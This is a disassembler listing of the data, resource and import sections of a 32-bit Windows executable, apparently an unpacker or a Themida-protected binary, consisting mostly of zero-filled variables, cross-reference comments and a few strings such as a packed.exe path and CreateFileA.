dword_4CAFA4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAFB4	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAFC4	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAFC8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFE4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CB000	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CB00C	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CB010	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CB014	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CB018	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CB020	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CB024	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CB028	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB030	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB03C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB044	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB048	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB04C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB050	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB054	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB05C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB060	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB064	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB06C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB074	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB078	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB080	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB088	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB090	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB094	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB098	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB09C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB0A4	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB0A8	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB0AC	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB0B0	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB0B4	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB0B8	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB0BC	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB0C0	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB0C4	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB0C8	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB0CC	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0D0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0D4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0F0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0F4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0F0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD108	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD10C	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD110	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD114	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD118	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD198	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD19C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD1A0	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD1A8	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD1AC	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD2B0	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD3B4	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD3B8	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD3BC	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD3C0	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD440	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD444	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD448	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD450	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD454	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD558	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD65C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD660	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD664	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD668	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6E8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6EC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6F0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6F8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6FC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD984	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA88	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA90	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA94	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA98	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA9C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDAA4	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDAAC	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDAB0	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDAB4	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDCBC	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDCC4	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDCCC	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCD4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCE0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCE4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCEC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCF4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCF8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDD08	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDD10	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE138	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE758	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEBCC	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2BCC	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BD0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BD8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2C10	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2E10	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D3610	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3E10	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3E14	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3E18	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3E1C	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3E20	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D4020	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D4028	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D402C	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4030	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4034	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4038	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D403C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4044	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 42h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437868o
		dd 3Ch dup(0)
dword_4D4244	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DA758	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA75C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA960	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA9BC	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DABBC	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DABC0	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DAC1C	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DAE1C	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DAE20	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DB020	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB224	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB228	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB22C	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB230	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB234	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB268	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB270	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB2A8	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB2AC	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB2B0	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB2C4	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB2C8	dd 2430B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2D0	dd 2430B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2D4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2D8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2E0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2E8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2EC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2F0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2F4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2FC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB300	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB308	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB30A	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB30E	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB310	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB312	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB318	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB320	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB324	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB328	dd 0			; DATA XREF: sub_41F312r
dword_4DB32C	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB330	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB334	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB33C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB340	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB344	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB348	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB34C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB350	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB354	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB358	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB35C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB364	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB374	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB37C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB380	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2E0o
		align 10h
		dd 3Ah dup(0)
dword_4DB488	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB48C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB490	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB494	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB498	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB4A0	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB4A2	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB4A4	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB4C0	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB4C4	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB4C8	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB4CC	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4D0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4D8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4E0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4E4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB524	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB526	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB528	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB52A	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB52C	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB52E	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB530	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB532	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB534	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB538	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB578	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB57A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB57C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB57E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB580	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB582	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB584	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB586	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB588	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB58C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB590	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB594	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB598	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB59C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB5A0	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB5A4	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB5A8	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB5AC	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB5B0	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB5B8	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB5BC	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB5C0	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB5C4	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB5C8	dd 2431140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		dd 5 dup(0)
dword_4DB5E0	dd 400h	dup(0)		; DATA XREF: ___:off_43CA18o
					; ___:0043CA20o
dword_4DC5E0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC600	dd 2430650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC604	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC700	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC704	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC710	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC71C	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC720	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC820	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC821	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC924	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC928	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC92C	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC930	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC934	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC938	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC93C	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC940	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC944	dd 2430000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC948	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC94C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC950	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC954	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC958	dd 2430758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC95C	dd 2430758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1A8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
dword_4DE000	dd 400h	dup(0)		; DATA XREF: Themida_:0053E5A4o
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7╗Гw╣\Гw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
